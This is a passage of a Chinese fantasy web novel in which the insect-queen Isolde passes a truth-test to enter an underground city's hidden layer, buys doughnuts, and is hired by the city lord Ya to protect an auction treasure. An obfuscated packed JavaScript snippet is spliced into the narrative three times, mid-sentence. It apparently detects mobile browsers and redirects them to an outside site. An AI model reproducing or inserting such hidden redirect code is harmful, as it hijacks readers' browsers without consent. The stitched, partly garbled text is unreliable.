伊索尔德自然地抽出另一本手册,它上面罗列了十几家店铺,旁边还附带了菜单和测评,她晃了晃这本手册,道:“听说我要去地下城之后星舰上的工作人员给的。银河集团不愧是大财阀,在细节处做得很到位。” 灰百合已经懒得再去问她什么时候找的工作人员了——多半是自己睡着的时候。 它扶额:“好吧,既然你已经准备得这么充分了,那我们现在走吧。顺便一提,如果你还想掩饰自己身份的话,我建议你不要尝试把果酱或者蜂蜜以及一切甜的东西淋在矿石上了,至少不要当众这么做,看起来真的太像异食癖了!人类不会这样吃饭的!” 30.雅琪洛街道与表里地下城 “街道上的人真少啊。”伊索尔德站在美食街的入口,稍微往里看了看。 与地下城的名声相比,这里营业的店铺少得不正常,长达数千米的长街中只有三家店的门口亮着灯,其他的统统关上了门。 营业的三间店铺分别是没有招牌的诊所、专卖美酒的酒窖、以及饭馆。它们看起来平平无奇,除了稍显破旧,与任何商业街中都会出现的店铺没什么两样。 而且街道不仅营业的店铺很少,在街上的人也很少。放眼望去,只有三两个人出没在岔口,并且很快就一闪而过,只留下一道黑影。 总觉得哪里不太对。她晃了晃那份厚到可以当砖头用的游览手册,有些困惑。 “地下城今天有什么节日吗?”灰百合猜测。 “我觉得也许是因为有特别的进入方式。”伊索尔德站在街口,“比如说暗号、密码、要找到引路人之类的,这里好像很喜欢谜题呢。那三间店铺不是正在营业吗,我们去问问吧。” 话音刚落,一道声音在她们前面不远处响起。 “呵呵,猜得没错。这里只是雅琪洛街的表面,而你们想去的地方都在‘另一个地方’。我是地下城的引路人,因为你们是新人的关系,所以姑且给你们讲一讲规则吧。”诊所的门被推开,一个女人倚在门上抽烟,她眯着眼看了看伊索尔德,像在确认什么,半晌,她开口道:“地下城分为里表两面,虽然城主已经给了你权限,但那只在表世界有用。想要去那个地方,只能靠你们自己。” 雅琪洛街是美食街的全名,事实上在这里贩卖的商品并不仅仅只有食物,只是因为美食最为出名,所以得到了这样的简称。 伊索尔德:“要怎么去?” “一般来说是通过试炼...嗯,但是你这个小鬼的实力深不可测啊,我猜这里没人能打过你。所以我们换一种方式。”女人又吸了口烟,“这里亮着灯的店铺代表着入口,而店主就是守门人。你只需要得到任意一个人的同意,便可以进入真正的地下城。顺便一提,地下城的里世界是共通的,所以你只需要成功一次,这里的大门以后便都会为你打开。” “如果不能进入呢?” “每个人有三次机会,用光了次数的人会永远失去进入地下城的资格。包括表世界。” 灰百合忍不住开口说:“你们这里还真奇怪,如果是做生意的话应该希望客人越多越好吧,为什么还会对客人提出这么多的条件来限制进入呢?” “这是地下城的特色。”女人耸了耸肩,“在这里可以买到任何东西,所以想要来这里的人数不胜数。这样庞大的人流让城主很苦恼,所以她想出了这个办法。表世界卖的都是很普通的、随处可见的东西,里世界则大不一样,不问来源,不问去处。这就是里世界的规则。” “如何?愿意接受挑战吗?” “我没意见。”伊索尔德点了点头,“说说你的试炼是什么吧。” “唔,”她稍微后仰了一点,又很快倾身,朝伊索尔德伸出手,“先进诊所吧,外面的风可是很冷的。” —— 干净整洁的诊室内。 女人走在前面,她把烟头摁灭,伸手扭了一下办公桌上的微缩星球摆件。摆件在她的手指下旋转,转到特定角度的时候,一扇暗门在她们面前打开。 暗门里面是一段不断往下延伸的台阶,两边的蜡烛保持着熄灭状态,一旦有人走过,就开始猛烈地燃烧起来。 伊索尔德跟在女人后面向下走去,台阶很长,后半部分完全淹没在了黑暗里,那种黑暗很特别,即便是以伊索尔德的视力和感知也看不到尽头。 脚步声在寂静黑暗的空间中回荡,女人一边走,一边说:“我的试炼很简单,你要诚实地回答我三个问题。不能使用任何手段作弊,也不能说谎。一旦违反这两条规定,之后还剩下的两次机会也会被取消。台阶下面养了能辨别谎言的动物,如果你说谎,它就会咆哮,我会用这个来辨别。” “如果遇到不想回答的问题怎么办,可以保持沉默吗?” “可以。但你只能沉默一次。第一个问题:你的名字?” “伊索尔德。”她笑眯眯地回答。 “你从哪里来?” “阿斯塔。” 女人的脚步明显停顿了一下,她们已经走到了台阶的中间部分,再往下就是可以比拟深渊的黑暗。女人没有回头,她停在了原地,来时路上的蜡烛开始一对接一对地熄灭,很快,整个空间中只有她们所在的地方亮着光。 伊索尔德停在她后面:“嗯?怎么了吗?不是还有一个问题吗?” “...我得好好想想。”女人慢慢说,“你的身份可不一般啊。恐怕是地下城有史以来最尊贵也最可怕的客人了。” “这是我的荣幸。”伊索尔德从善如流接受了这段夸奖。 一分钟后,女人问出了最后一个问题:“你为什么来到卡萨布兰卡?” “有人想要虫族的标本。我听说地下城有相关的消息。” 台阶下面的黑暗里依然保持着沉默。 “你通过了。地下城欢迎你。”女人说完,继续往下走去,在她说出这句话之后,台阶仿佛一瞬间变得短了许多,她们很快就走到了尽头,面前出现了一扇小小的、跟她们身高一致的洁白木门。 女人替她推开了门,伊索尔德走了进去,站在里面与她对视。她没有戴那顶宽檐帽,女人能够捕捉到那张脸上的每一个细微变化。 这个自称伊索尔德的虫族微笑着,浑身上下散发出一种诡异的气息。她恐怕对自己的面容做过一定伪装,女人已经想不起来她刚刚是什么样子了,但当她微笑起来的时候,某种奇异的光彩使她像被照耀着一样,幽静的夜色中,一轮皎洁的月亮缓缓升起,它如此美丽又如此令人恐惧,在那庞大的注视下,几乎要令人发狂。 “要再问我一个问题吗?”伊索尔德忽然说,她背对着女人开口,“我猜你应该很想知道我的姓氏,亦或者我的身份。想要知道的话我可以告诉你哦?就当是你带路的报酬了。” “如何?” 两者的立场在一瞬间互换,现在轮到伊索尔德来问她这句话了。 “不必了。”女人拒绝得很果断,“我的能力还不足以负担起这个问题。我还没活够呢。” “啊。聪明人。”伊索尔德的语气有些失望,“好吧,再见。” 在她已经走出一段距离后,女人忽然又开口了:“如果我说出你的身份,你会杀了我吗?” “你猜到了?” “你也没有很费心地掩饰。” 倒不如说,堪称是肆无忌惮。她毫不在乎别人知道她的身份,也不在乎她的姓名会带来怎样的连锁反应。不管这样的对话发生多少次,女人都觉得不可思议——这样的种族竟然不会说谎。她们直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649498|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 率地表达着自己的想法,不屑于隐藏与伪饰。 “应该会。”伊索尔德认真想了想,她脸上绽放了一个令人感到毛骨悚然的灿烂笑容,“我不会做对我没好处的事情,但你刚刚动摇了,对吧?你知道那个消息,或许是听说过,或许是与幕后者擦肩而过...可惜的是,你虽然与此有所联系,但却毫无了解。杀了你也问不出来什么,还是不要动手好了。” 女人从未如此庆幸自己的无知。 伊索尔德忽然转过身,直直盯着女人看。她指了指女人身后的台阶,好奇道:“下面是什么?” “谛听。被秘密研发出来的测谎机器,可以判断言语的真实,如果有人在它面前说谎,它会令台阶断裂。” “那不是会死人吗?没人找你们麻烦?” “台阶下面有软垫和逃生装置,一般来说只会晕过去。如果有意外情况会由我出手。” “唔,出手是指从源头上把对方解决掉吗?” 女人有些莫名其妙,道:“我是医生,并不擅长与人打斗。” 所以出手是指为对方进行治疗,而非伊索尔德以为的那样把人干掉。 “最近遇到的匪盗比较多,”伊索尔德吐吐舌头,“我以为你们是那样的粗暴家伙呢。” “再见啦,伊始医生。我想我们会再见的。”伊索尔德背对着她挥挥手。 虽然知道最好不要再与她交谈,但伊始还是没忍住自己的好奇心:“你怎么知道我的名字?” 灰百合回答了她的问题,它伸出一根枝叶指了指她胸口:“你衣服上别着名牌呢。很好认的。” “可是那种语言...已经失传很久了。” 那是帝国里的古老语言,据说现在能够熟练运用并阅读的人不超过十个。来自第六星系的虫族怎么会懂这种语言? “有人教过我。至于是谁,这个问题我就不能回答你了。” 女人有些急迫地追问:“那,你可以告诉我她现在如何吗?她还活着吗?” 伊索尔德咦了一声,伊始看起来对这种语言有些关注过度了,她的问题已经远远超出了守门人的职责范畴:“你是她的仇人,还是她的朋友?” “二者皆非。”伊始有些苦涩地回答道,“我不过是无名小卒。她恐怕并不认识我。” “我明白了。你是卡涅尔家族的人。也是被流放了吗?”伊索尔德用一根手指抵着下巴,做思考状,“好吧!我可以告诉你。她现在正在第六星系呢,活得很好,每天都在忙着做实验。你想去见她的话就去阿斯塔吧,但事先提示,人类擅自去那种地方,很可能死掉。如果你对此有所准备,就去找她吧。” 老师独自一个人在阿斯塔多少还是有些寂寞,她跟苏珊不一样,从本质上就跟虫族有着不可跨越的鸿沟,虽然能做到平安无事,但关系平平。伊索尔德见过老师一个人在天台吹风的样子,以防她心情脆弱,丢个人类过去给她玩也不错。而且还是同族,说不定很有共同语言。 “不过我觉得你多半也找不到地方...”她又小声嘀咕了一句。 伊始没听清,只下定决心等合约到期就去寻找阿斯塔星,她想不到竟然能以这样的方式得到关于少族长的线索,十分感激:“谢谢你。” 伊索尔德又说:“另外,帮我跟你们城主说一声,我会去找她的,在此之前,不要来打扰我,好吗?” “我明白了。” 31.甜甜圈 里世界。 成功通过试炼之后,地下城的里世界向伊索尔德敞开了道路。里世界的建筑分布与表世界没什么不同,只是风格更加辉煌而壮丽。各种风格的建筑群在这里随处可见,两边用来照明的路灯如同河流,将这里映照得宛如白昼。 街道很开阔,不同种族在这里来来去去,充分显示了宇宙的物种多样性。再古怪的装束也无人在意,因为这座城市里的怪人实在是太多了。 从某种意义上来说,有着不可思议的包容性。 地下城没有太阳与月亮,为它提供光线的是悬挂在天上的人造天体。它不会移动,自建造完成那一刻起便注视着这座城市里的一切。 酒、美食、武器、珍稀的古书、心理咨询、药物、清理服务...这里所售卖的商品种类之多令人咂舌,和伊始医生说的一样,在这里什么都能买到。 雅琪洛街很热闹,伊索尔德看到了那几家名单上的商铺名字,高高兴兴地跟着人流走了过去。 她抬头看了看店名——琪琪苹果甜甜圈。 没记错的话,这家店似乎不提供外带服务。 店铺的面积很小,但是排队的人却多到占据了小半街面。伊索尔德排队很久才等到,中途一度想过放弃。 “反正也不是非要吃嘛。再等下去天都要黑了,哦这里没有灯...总之时间要过了啦。”灰百合在她耳边喋喋不休,“你不是只要吃到甜食就好吗,虽然对味道要求很高,但是也没有限定种类。我们完全可以先去别的地方看看嘛,可以先买那些人比较少的然后再回来。” “可是她们家限购啊。”伊索尔德把灰百合摘下来,在手里揉捏,“万一因为排队其他的而错过了怎么办。” “你可以等事情办完了再来吃嘛,这家店生意这么好,肯定不会倒闭。到时候你想吃多少都没问题。” “可是我就想现在吃。”队伍向前缓慢挪了一点,伊索尔德跟上去,队伍又停下不动了。 绕来绕去,还是无法改变伊索尔德在这里排到天荒地老的心,她一旦下定决心做什么事就会爆发出可怕的耐力,不管别人怎么劝说都听不进去。或许塔纳斯说的话能听进去一些,但大多数情况下,她根本不会对伊索尔德提出任何要求。 只能祈祷能顺利买到了。 灰百合深深叹了口气。 好在她们运气不错,在经过漫长的排队之后,伊索尔德成功买到了最后一盒。 和店名一样,这家店只做一种食物——甜甜圈。 店铺外面悬浮着一面屏幕,可以对接通讯号下载菜单,伊索尔德仔细看过之后发现上面写的食物比手册上写出来的还要更多。 甜甜圈有六种主推口味以及十二种会随着季节变化的限定口味。比如现在是卡萨布兰卡的冬季,店家就推出了雪花、红枫、蜜糖、冬眠四个特定品种。除此之外,伊索尔德还看到了另外一个不存在于手册上的品类——盲盒甜甜圈。 伊索尔德耿直地发问:“这是什么?” “是隐藏菜单,只有在这里才能吃到,本来需要在店内消费一定次数才会开放呢,因为你是城主的贵客,所以即便之前没有来过也可以品尝。客人有想好买哪种吗?我们这里是限购的,每种只能购买一次哦。”掌勺的厨师乐呵呵的,一边对窗口前的伊索尔德解释,一边及时给甜甜圈翻面。 伊索尔德慎重思考了一会儿:“我可以全都要吗?” “当然可以。不过甜甜圈趁热吃是最好的,如果没办法在一定时间里吃完味道就会发生变化,我个人比较推荐十分钟内吃完。甜甜圈一盒有六个,总计一百一十四个,看在你买了这么多的份上额外赠送一盒吧。一百二十个甜甜圈没问题吗?” 伊索尔德坚定地点点头。厨师也不再多问,飞速把二十个打包盒准备好了。 甜甜圈很快全部制作完成,店里不提供堂食服务,伊索尔德只能去别的地方吃。 二十个盒子的高度十分惊人,为了不影响接下来的路程,伊索尔德把它们放进了空间纽里,只留了一盒在外面。 空间纽是科技高度发达的文明产物,它和游戏里的随身空间概念相似,里面的时间是静止的,食物不会过期,也不会因为外界原因发生改变,放进去是什么样子,拿出来还是什么样子。它的功能十分强大,但缺陷也同样明显:只能存放死物,造价高昂,可供使用的空间容量不大..... 卡涅尔当初之所以要给伊索尔德一把空间纽就是这个原因——空间太小了,伊索尔德又很喜欢买各种稀奇古怪的东西,为了满足自己这个不靠谱学生的需求,只能从量上面来弥补了。 甜甜圈被炸得恰到好处,外酥里柔的口感配上凝固的巧克力酱,吃起来甜而不腻,伊索尔德不知不觉就吃掉了一盒。她在路上选定了几家提供外送服务的店铺,由于暂时还没定旅店,所以把地址改到了城主府。 反正她一会儿也要去城主府一趟,刚好路线重合。 —— 伊索尔德一边逛街,一边往里世界的下层走去。地下城在上中下层的交接点都设置了传送门,可以直接从前往指定楼层,而不必穿过另外两个。 传送门设置在一部老式电梯里,镂空的电梯门在她面前合上,开始飞速下坠。 “不去中层吗?” “旅店和住宅区...感觉没什么好玩的啊。”伊索尔德目光放空,“我对住酒店不感兴趣。这不是跟坐星舰一样吗?都只能在固定的地方移动。太无聊了。” 而她刚刚经历完整整十天的“时间之旅”,实在是不想再来一次了。 “呃,你说的也对。”苏珊心有戚戚,“所以你现在打算去找城主?” “准确来说,是她找我。”伊索尔德晃了晃终端,上面有一条陌生消息。 【日安,伊索尔德小姐。不知道我是否有这个荣幸邀请你共进晚餐?我知道一些有趣的消息,也许你需要它。鸦,敬上。】 消息是半小时前发出的,刚好是伊索尔德通过试炼正式进入里世界的时候。 “她一直在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661051|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监控你诶。”灰百合说,“不过你怎么确定鸦就是城主的?” “光梭上面有写,你忘记了吗?”伊索尔德把游览手册翻到第一页,指着其中一行字给灰百合看,“‘大受好评的苹果派,城主鸦的最爱’。” 那一行字淹没在众多的广告里,相当不起眼,如果不是伊索尔德指出,灰百合觉得自己恐怕再看十遍也发现不了。 “这也太不起眼了。” 伊索尔德赞同:“是啊。要不是为了找苹果派,根本注意不到。” 灰百合:“......” 所以你完全是因为看到了苹果派这三个字才注意到后面的内容吗... 不知道城主作何感想。 —— 城主的感想是...没有感想。她正坐在投影仪面前实时观看伊索尔德和灰百合的一举一动,诺贝塔坐在她旁边,以手掩面。 “鸦,我觉得这样真的不太好...”她努力劝说,“就算是身处黑暗,也要正大光明。这句话不是你以前告诉我的吗?你可以用其他方式调查呀...” 鸦懒洋洋躺在椅子上,整个人陷在柔软的抱枕里,与旁边端正坐好的诺贝塔形成鲜明对比。 地下城的城主有一头火红的长发和黑曜石般的眼睛,她如同行走的火焰,风情万种,毫无顾忌地吸引着人的视线,也毫无顾忌地灼伤那些想要触碰她的人。只有她认可的人才能看到火焰温暖的一面,其他人所面对的,都是凶暴的猛兽。 “你以前还说自己要成为一个奸商呢,瞧瞧,不过是找了个临时保镖就变成小绵羊了。难道她是正义伙伴,你被感化了?” 不是正义伙伴,只是因为脾气太古怪,实力又太恐怖,导致诺贝塔根本不想知道惹她生气是什么下场。 她还在想要怎么委婉地劝说,鸦翻了个身,下巴垫在手背上,她眯着眼看投影,上面白发白眼的虫族正在翻手册,好决定接下来去哪里玩,她一路走来买了不少东西,那些东西都被收进了空间纽,没有给伊索尔德造成任何负担。 鸦啧啧称奇:“你找的这个保镖可比你有钱多了,她手上那个镯子嵌的可全是空间纽,宝石的品质比我见过的所有都好,你怎么说动人家帮你的?” 诺贝塔长叹一口气:“说来话长。” “那就长话短说。等等,”说到这,她像是想起了什么一样拨通了内线,命令道,“把海蓝之心可以撤下来了,换别的上去。” 有这只手镯在前,其他的都成了次品。鸦没有砸自己招牌的爱好,她只卖最好的东西。 内线那边的负责人恭敬回答:“好的,我这就去。您认为红岩眼可以吗?” 红岩眼是珍贵的机甲核心材料,不算宝石,观赏价值也不大,跟伊索尔德的手镯属于两个赛道。 鸦嗯了一声:“就这个吧。” 吩咐完下属,她转头对诺贝塔道:“你继续说。” 诺贝塔瘫着一张脸看她:“短话长说就是,我被抓去演戏了。” 鸦:“?” 32.鸦与交易 投影仪里的伊索尔德还穿梭在各大街道中,而投影仪前的鸦已经笑得从椅子上跌到了地上。她的长发如海藻般铺在地上,诺贝塔只需要低头,就能清楚看到她的表情。 她有些无奈。 “有那么好笑吗?” 虽然这个过程的确离谱了点,但也不至于笑成这样吧。 “其实本来是没那么好笑的...”鸦揉了揉自己笑得有些酸痛的脸颊,“但你的表情,唉,可惜这里没有监控,不然我真该给你录下来让你自己看看。” “什么表情?” 鸦想了想:“你小时候想养猫,但又不知道该怎么跟亚里亚讲的时候。” 亚里亚是伊索尔德的贴身侍女,在她长大之后就辞职了,诺贝塔也不知道她去了哪里。 诺贝塔很喜欢动物,但是又对绝大部分动物的毛发过敏,只能隔着玻璃窗看那些活泼可爱的家伙追逐打闹,过一过眼瘾。有次她被一只流浪猫迷得不行,悄悄把猫放进篮子里想偷渡回家,一路上绞尽脑汁想要怎么说服亚里亚让自己养猫,鸦为了看热闹,帮她抓了猫还顺便把她送回了家。 但流浪猫从小在这片地区长大,两个孩子还奈何不了她,猫最后趁她们俩谁都不注意的时候偷偷跑掉了,诺贝塔对着那个空荡荡的篮子发呆,发现自己酝酿了一路的说辞其实根本派不上用场。她没有哭,但是那张童稚的脸上却出现了接近于“心痛”的情感。 亚里亚正在这个时候打开门,看到和鸦结伴回来的诺贝塔。 “发生什么了?”亚里亚看出诺贝塔的神情不对劲,蹲下来与她的视线平齐。 小诺贝塔嗫喏几句,带出点不易察觉的哭腔:“猫...” “什么?” “我的猫跑掉了。” 亚里亚不明所以,而她大哭起来。 “就是那种表情,离成功只差一步,却输得彻底。”鸦笑够了,从地上坐起来,她用手指敲了敲诺贝塔的膝盖,神情有些淡淡的冷漠,“我得提醒你,那只猫最后跑掉了。流浪猫尚且如此,这样一个武力值远胜过你的现在就别想了。你还记得回来是做什么的吧?” “记得。”诺贝塔低叹,手指把膝盖上的布料捏出褶皱,“我是为银河集团回来的。” 鸦看了看她,恍惚又从那张脸上看到相似的神情,她安慰道:“只是现在还不行,我帮你留一份她的通讯号,你可以之后再去找她。虫族的寿命那么长,在你死之前她都会活着,这不好吗?” 对人类来说,最可怕的事情就是改变。但诺贝塔心生好感的却是虫族,她们的容貌在时间中不变,性情也如顽石那样难以转移,对人类来说,与永恒无异。 什么时候做朋友都是一样的,因为至少在人类的尺度上,伊索尔德永远不会发生改变。数十数百年后的那个伊索尔德与今天她所记得的并没有什么区别。 房间角落里悬挂的铃铛忽然响个不停,两人抬头去看,发现伊索尔德已经站在了城主府的门口。她低着头,手指在终端上戳戳点点,一枝百合花从她的手腕爬到脖颈,如同缠绕着古树的藤蔓。 在鸦和诺贝塔一同看向投影时,她忽然抬起头来,冲她们笑了一下。 高清的仪器放大了她的美貌,魔魅般的魅力并不为截断的空间衰减,当她笑起来的时候,仿佛连时间一并停滞。 鸦好一会儿才从那个笑容中回过神来,与此同时,伊索尔德收敛了笑意,手掌并拢,盖住了手心里什么正在发光的东西。 “开门吧。”她说道。 —— 城主府的黄铜大门缓缓向两边打开,伊索尔德顺着终端发来的消息笔直往前走去,或许是考虑到居住者的数量,城主府的实际使用面积并不宽阔,它绝大部分都被花园、草地与森林占据了,在处处以金银珠玉装饰的里世界下层,堪称低调。 会客厅里放着三把高背椅,鸦和诺贝塔各占一个,伊索尔德毫不客气在她们对面坐下,目光从诺贝塔身上一扫而过,停留在了鸦的身上。 桌上摆着热茶和点心,茶水雾气氤氲,把鸦的神情都变得模糊。 伊索尔德直奔主题:“找我什么事?” 鸦轻咳一声:“我听说诺贝塔与你之间建立了雇佣关系,一时有些好奇。” 伊索尔德眼也不眨:“说实话。” 除非必要,她不耐烦跟人寒暄,人类有很多种方法能延长会面时间,伊索尔德见识过一次之后就毫无兴趣,深觉自己的生命不能浪费在这种事上。 鸦愣了一下,似乎没想到她在会谈时是这种风格,她抿了口茶,免去那些开场白简洁明了地表达了自己的意愿:“有人想带走拍卖会上的珍宝,我希望你能在必要时刻出手,让拍卖会顺利进行。” 伊索尔德想拒绝,毕竟她来地下城是为了玩不是为了来接委托的。如果不是鸦在终端里暗示她知道一些与幻想种标本交易相关的消息,她甚至连城主府都懒得来。 鸦看出伊索尔德有些不情愿,紧接着说:“作为报酬,地下城可以帮你追查你想要的与幻想种交易有关的信息。地下城黑白不分,有人曾经进行过相关的交易。” 王虫慢慢抬起了头,她的眼神冷酷无比,但语气还是轻柔的:“我想你大概知道我会是什么反应。” 伊索尔德的长发无风自动,连灰百合都从沉眠中醒了过来,张开了花瓣。那硕大的花朵宛如成人大小的头颅,它在伊索尔德的颈边张牙舞爪。 她的实力比鸦估算得更加强大,鸦久违感觉到了窒息的滋味,执掌地下城十五年以来,她再没有见过比这更强大的敌人。 太着急了。鸦有些懊悔地想到,她本来打算逐步消磨虫族对地下城的警戒心,再不动声色抛出这个消息,到那时虫族也许会感到愤怒,但总归比现在好得多。但伊索尔德的直白打得她措手不及,她只能把这个消息放在最开头。 事已至此,已经不能再回头了。 “那至少是五十年前的事情了,”鸦紧紧盯着她,“你要为发生在五十年前的事情迁怒于现在吗?” 伊索尔德冷漠道:“对我来说,时间并不算什么。我不遵守你们人类的道德观。” “这只是一条捕风捉影的消息。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686739|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是啊。我当然知道了,不然你以为你为什么还活着?跟我有雇佣关系的人是诺贝塔,不是你。”伊索尔德有些惊讶,她想了想,笑了,轻飘飘说道,“我奉行的原则是寸草不生,但凡参与过这桩交易的人,我一个都不会放过。目击者也一样。我要这件事被摁死在阴影里,没有谁知道它存在过,也没有谁敢于再一次把它从黑暗里翻出来。” “来,说吧,”她诱哄道,“是谁在这里交易,又是谁向你们提供了货源。” —— “你有些失控了。”灰百合评价道。 “确实有点。”伊索尔德走出会客厅,叹了口气,“我还以为能直接抓到上游,结果只是小孩子无意间撞见这种消息...真亏她敢拿来做交易,地下城的人胆子都这么大吗?” “也许这也是交易一环。”灰百合想了想,“你看,你最终还是答应要帮她清除拍卖会的隐患。而她付出的只是一条目击者的情报。虽然过程产生了波折,但我想结果应该与她想要的相去不远。” 伊索尔德笑道:“差点没命了也算吗?” 伊索尔德的精神力因为太过强大,所以要花一定的时间进行控制,只有在确定能够完美掌控的情况下,她才会继续解封下一层。但那些力量依然存在,在封印被开了一条口子,而情绪过于激动的情况下,精神力会无意识顺着缺口跑出来,无差别地攻击伊索尔德周围的一切。 灰百合也对此感到奇怪,不管怎么样,激怒交易方都不是个好主意,更何况鸦是真的差一点就死了。 它道:“说不定是为了测试?” “测试什么?” —— “伊索尔德有杀死祂的实力。” 会客厅里凄惨一片,大大小小的家具都被伊索尔德无意识散发出的精神力卷成碎片,墙壁和天花板上留下了道道沟壑,如同刚刚被暴风席卷过的战场。整个会客厅只有她们俩所在的地方完好无损。 鸦坐在废墟里将凉茶一饮而尽,诺贝塔在一旁沉默不语。她看起来有些忧虑,不知道是为伊索尔德还是鸦。 “也许还有别的办法。”诺贝塔轻声道,“我知道你想斩断本源,但祂已经盘踞在地下城这么多年,让一个外族去,真的好吗?” “你担心她?我可是差点死掉了。”鸦不满道。 诺贝塔笑了笑,那种笑容如同挂在脸上的假面,完美而一丝不苟,看不出真心与否:“我只是觉得你太着急了。” “我知道。”鸦的目光放空,两只手搭在扶手上,“但...雀就要死了。” 诺贝塔再说不出什么话,她的笑容变得苦涩起来。 “我会把十年里搜集到的所有珍宝都送给她,伊索尔德这个名字将成为地下城最尊贵的客人,她会得到我能送出的一切。”鸦的声音轻轻的,不知道在与谁说话,“只要她能杀死祂,让雀活下来,我什么都愿意做。” “正如你愿意为银河集团放弃一切回到第四星系一样,”她手中的瓷杯被捏得粉碎,化作一堆齑粉,簌簌而落,“我也愿意为了雀付出一切。” “哪怕是生命。” 33.生气的苏珊 “无论是珍宝,还是性命,亦或者任何情报,但凡是地下城所拥有的一切,我都会为你奉上。” 这是在城主府中时,鸦的原话。 “这是背叛吧?”伊索尔德冷静地说,“就算我对拍卖这个行业并不如何了解的外行人都知道,‘保密’绝对是你们任何时候都不能抛弃的原则,一旦被人知道你的所作所为,恐怕地下城经营数百年的财富和名气全都会付诸东流。付出这样大的代价,我可不相信你只是为了揪出所谓叛徒。” 鸦坐在一片废墟中苦笑:“虽然我很愿意告诉你,但现在还不是时候。” “理由?” 鸦的态度很坚决:“不能说的理由。我只能告诉你,那是一件足以影响到地下城生死的珍宝,因此,绝对不能落入他手。只要你能确保这件珍宝的平安,随便你做什么都行。” 伊索尔德哈的笑了一下。 这只虫族的眼瞳里泛着金光,望向她的眼神仿佛已经洞悉一切,有一瞬间鸦几乎以为她已经看透了这桩交易背后的真相。 她不再追问更详细的内容,只让鸦把情报和具体的雇佣内容如实送到旅店。 她宽容道:“如你所愿。” —— 地下城中层。里世界。 伊索尔德正置身于旅店的豪华套房之中,翻看着鸦派人送来的情报。 在科技高度发达的现在,任何流经网络的信息都有可能被截获,为了最大程度保障交易的顺利进行,鸦采取了十分原始的书信作为信息载体。 一叠雪白的信封此刻正摆在房间的书桌上,伊索尔德用一旁的裁纸刀打开,一目十行浏览着上面的内容。 信件里大量使用了书面语,让伊索尔德看得有些头疼。即便在长大后已经能够熟练运用这种语言,但一旦字数过多用词又过于委婉,她就觉得自己的大脑有些隐隐作痛。 我果然还是和人类合不来。 伊索尔德一边怀念着精神网络,一边将信件的内容全部记忆下来。 地下城的拍卖会是六大星系共同的盛宴,从地下城建立的那一天就作为固定节日存在于世。一开始只是一个区域的拍卖会,随着地下城本身势力的扩张,如今已经是能吸引全宇宙目光的盛大典礼了。 在拍卖会举行期间,全宇宙的珍品都将汇集在此,无数持有邀请函的名流们亦会成为这涌动暗流的一部分,地下城的资金和人数将暴涨到一个恐怖的数字,同时,也会吸引数不清的狂徒来此。 庞大的利益足以使绝大部分人铤而走险,更不用说地下城本就不分善恶黑白。数不清的不法交易被巧妙而隐秘地藏在资金和言语的流动之中,鸦已经提前将有可能牵涉到幻想种的所有信息进行了标注,伊索尔德只需要按图索骥,就能顺利抓住那幕后主使的尾巴。 从这点上来看,她对于达成协议这件事有着无可撼动的决心。 拍卖会定在三日后举行,由于拍品数量之庞大,会分为四个周期进行,将持续整整一个月的时间。 鸦所指定要求保护的珍宝会在第一周作为压轴商品出场,也就是说,伊索尔德至少要在地下城逗留到第一阶段的拍卖会结束。 时间、地点全都确认完毕。 但还有个问题。 ——伊索尔德并不知道那件珍宝是什么。 换言之,她无法提前对可能威胁到珍宝的突发状况做出预判。 “她为什么不告诉我们呢?”苏珊感到有些困惑,“不仅拒绝让我们跟珍宝接触,甚至不肯告知名字。简直就是把人当贼一样防。” 伊索尔德把信件推到一边,拿出了打火机,雪白的纸张在突然出现的红色火焰中一点点卷曲,又一点点化为灰烬。她把灰烬用事先垫在下面的纸张包起,丢进了垃圾桶里。 “我猜她是...说不出口。”伊索尔德弯了弯眼,“就像被下了封口令,又或者是一旦触发关键词就会受到惩罚...你不觉得她一点都不像地下城城主吗?” “她是假冒的?” “我认为她的身份是真实的,从她对地下城具有一定掌控力以及这些送来的东西就可以看出,她确实拥有地下城城主所该拥有的权力。”伊索尔德沉吟几秒,“但她的性格和所表现出来的某些特质...都过于感情用事。换句话说,就是冲动。这样的品质不适合要求冷静与理智的拍卖行业,既然如此,她能经营地下城这么多年还没出什么纰漏就值得深思了。” “可能性有三个。”伊索尔德竖起三根手指,“一,鸦展现出来的性格是虚假的。她有能够骗过我们的演技。二,她是个傀儡,地下城的真实经营者另有其人。三,她确实是城主,但有一个人或一个团队在帮助她做出决策。而且这个人最近应该出事了,不然不会让她做出跟外来人联手这么奇妙的决策。苏珊觉得是哪个?” 灰百合有些不情愿:“还是跟以前一样?赌注是什么?” 